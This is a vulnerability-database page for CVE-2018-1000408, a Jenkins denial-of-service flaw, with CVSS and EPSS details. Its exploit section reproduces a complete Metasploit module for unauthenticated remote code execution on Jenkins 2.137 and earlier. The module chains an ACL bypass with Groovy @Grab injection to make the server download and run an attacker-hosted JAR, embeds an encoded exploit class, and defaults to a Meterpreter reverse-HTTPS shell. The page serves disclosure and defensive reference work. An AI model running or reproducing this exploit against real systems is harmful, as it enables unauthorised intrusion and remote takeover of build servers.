CVE-2018-1000408 : Detail

CVE-2018-1000408

6.5
/
Medium
0.09%V3
Network
2019-01-09
22h00 +00:00
2019-01-14
09h57 +00:00
CVE.org
NVD
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CVE Descriptions

A denial of service vulnerability exists in Jenkins 2.145 and earlier, LTS 2.138.1 and earlier in core/src/main/java/hudson/security/HudsonPrivateSecurityRealm.java that allows attackers without Overall/Read permission to access a specific URL on instances using the built-in Jenkins user database security realm that results in the creation of an ephemeral user record in memory.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE Other No informations.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 6.5 MEDIUM CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

None

There is no loss of confidentiality within the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

Low

Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is constrained. The data modification does not have a direct, serious impact on the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

Low

There is reduced performance or interruptions in resource availability. Even if repeated exploitation of the vulnerability is possible, the attacker does not have the ability to completely deny service to legitimate users. The resources in the impacted component are either partially available all of the time, or fully available only some of the time, but overall there is no direct, serious consequence to the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 6.4 AV:N/AC:L/Au:N/C:N/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 46572

Publication date : 2019-03-18 23h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Jenkins ACL Bypass and Metaprogramming RCE', 'Description' => %q{ This module exploits a vulnerability in Jenkins dynamic routing to bypass the Overall/Read ACL and leverage Groovy metaprogramming to download and execute a malicious JAR file. The ACL bypass gadget is specific to Jenkins <= 2.137 and will not work on later versions of Jenkins. Tested against Jenkins 2.137 and Pipeline: Groovy Plugin 2.61. }, 'Author' => [ 'Orange Tsai', # Discovery and PoC 'wvu' # Metasploit module ], 'References' => [ ['CVE', '2019-1003000'], # Script Security ['CVE', '2019-1003001'], # Pipeline: Groovy ['CVE', '2019-1003002'], # Pipeline: Declarative ['EDB', '46427'], ['URL', 'https://jenkins.io/security/advisory/2019-01-08/'], ['URL', 'https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html'], ['URL', 'https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html'], ['URL', 'https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc'] ], 'DisclosureDate' => '2019-01-08', # Public disclosure 'License' => MSF_LICENSE, 'Platform' => 'java', 'Arch' => ARCH_JAVA, 'Privileged' => false, 'Targets' => [ ['Jenkins <= 2.137 (Pipeline: Groovy Plugin <= 2.61)', 'Version' => Gem::Version.new('2.137') ] ], 'DefaultTarget' => 0, 'DefaultOptions' => {'PAYLOAD' => 'java/meterpreter/reverse_https'}, 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK], 'Reliability' => [REPEATABLE_SESSION] }, 'Stance' => Stance::Aggressive # Be aggressive, b-e aggressive! )) register_options([ Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'Base path to Jenkins', '/']) ]) register_advanced_options([ OptBool.new('ForceExploit', [false, 'Override check result', false]) ]) deregister_options('URIPATH') end =begin http://jenkins.local/securityRealm/user/admin/search/index?q=[keyword] =end def check checkcode = CheckCode::Safe res = send_request_cgi( 'method' => 'GET', 'uri' => go_go_gadget1('/search/index'), 'vars_get' => {'q' => 'a'} ) unless res && (version = res.headers['X-Jenkins']) vprint_error('Jenkins not detected') return CheckCode::Unknown end vprint_status("Jenkins #{version} detected") checkcode = CheckCode::Detected if Gem::Version.new(version) > target['Version'] vprint_error("Jenkins #{version} is not a supported target") return CheckCode::Safe end vprint_good("Jenkins #{version} is a supported target") checkcode = CheckCode::Appears if res.body.include?('Administrator') vprint_good('ACL bypass successful') checkcode = CheckCode::Vulnerable else vprint_error('ACL bypass unsuccessful') return CheckCode::Safe end checkcode end def exploit unless check == CheckCode::Vulnerable || datastore['ForceExploit'] fail_with(Failure::NotVulnerable, 'Set ForceExploit to override') end # NOTE: Jenkins/Groovy/Ivy uses HTTP unconditionally, so we can't use HTTPS # HACK: Both HttpClient and HttpServer use datastore['SSL'] ssl = datastore['SSL'] datastore['SSL'] = false start_service('Path' => '/') datastore['SSL'] = ssl print_status('Sending Jenkins and Groovy go-go-gadgets') send_request_cgi( 'method' => 'GET', 'uri' => go_go_gadget1, 'vars_get' => {'value' => go_go_gadget2} ) end # # Exploit methods # =begin http://jenkins.local/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword ?apiUrl=http://169.254.169.254/%23 &login=orange &password=tsai =end def go_go_gadget1(custom_uri = nil) # NOTE: See CVE-2018-1000408 for why we don't want to randomize the username acl_bypass = normalize_uri(target_uri.path, '/securityRealm/user/admin') return normalize_uri(acl_bypass, custom_uri) if custom_uri normalize_uri( acl_bypass, '/descriptorByName', '/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile' ) end =begin http://jenkins.local/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile ?value= @GrabConfig(disableChecksums=true)%0a @GrabResolver(name='orange.tw', root='http://[your_host]/')%0a @Grab(group='tw.orange', module='poc', version='1')%0a import Orange; =end def go_go_gadget2 ( <<~EOF @GrabConfig(disableChecksums=true) @GrabResolver('http://#{srvhost_addr}:#{srvport}/') @Grab('#{vendor}:#{app}:#{version}') import #{app} EOF ).strip end # # Payload methods # # # If you deviate from the following sequence, you will suffer! # # HEAD /path/to/pom.xml -> 404 # HEAD /path/to/payload.jar -> 200 # GET /path/to/payload.jar -> 200 # def on_request_uri(cli, request) vprint_status("#{request.method} #{request.uri} requested") unless %w[HEAD GET].include?(request.method) vprint_error("Ignoring #{request.method} request") return end if request.method == 'HEAD' if request.uri != payload_uri vprint_error('Sending 404') return send_not_found(cli) end vprint_good('Sending 200') return send_response(cli, '') end if request.uri != payload_uri vprint_error('Sending bogus file') return send_response(cli, "#{Faker::Hacker.say_something_smart}\n") end vprint_good('Sending payload JAR') send_response( cli, payload_jar, 'Content-Type' => 'application/java-archive' ) # XXX: $HOME may not work in some cases register_dir_for_cleanup("$HOME/.groovy/grapes/#{vendor}") end def payload_jar jar = payload.encoded_jar jar.add_file("#{app}.class", exploit_class) jar.add_file( 'META-INF/services/org.codehaus.groovy.plugins.Runners', "#{app}\n" ) jar.pack end =begin javac Exploit.java import metasploit.Payload; public class Exploit { public Exploit(){ try { Payload.main(null); } catch (Exception e) { } } } =end def exploit_class klass = Rex::Text.decode_base64( <<~EOF yv66vgAAADMAFQoABQAMCgANAA4HAA8HABAHABEBAAY8aW5pdD4BAAMoKVYB AARDb2RlAQANU3RhY2tNYXBUYWJsZQcAEAcADwwABgAHBwASDAATABQBABNq YXZhL2xhbmcvRXhjZXB0aW9uAQAHRXhwbG9pdAEAEGphdmEvbGFuZy9PYmpl Y3QBABJtZXRhc3Bsb2l0L1BheWxvYWQBAARtYWluAQAWKFtMamF2YS9sYW5n L1N0cmluZzspVgAhAAQABQAAAAAAAQABAAYABwABAAgAAAA3AAEAAgAAAA0q twABAbgAAqcABEyxAAEABAAIAAsAAwABAAkAAAAQAAL/AAsAAQcACgABBwAL AAAA EOF ) # Replace length-prefixed string "Exploit" with a random one klass.sub(/.Exploit/, "#{[app.length].pack('C')}#{app}") end # # Utility methods # def payload_uri "/#{vendor}/#{app}/#{version}/#{app}-#{version}.jar" end def vendor @vendor ||= Faker::App.author.split(/[^[:alpha:]]/).join end def app @app ||= Faker::App.name.split(/[^[:alpha:]]/).join end def version @version ||= Faker::App.semantic_version end end

Products Mentioned

Configuraton 0

Jenkins>>Jenkins >> Version To (including) 2.138.1

Jenkins>>Jenkins >> Version To (including) 2.145

References

http://www.securityfocus.com/bid/106532
Tags : vdb-entry, x_refsource_BID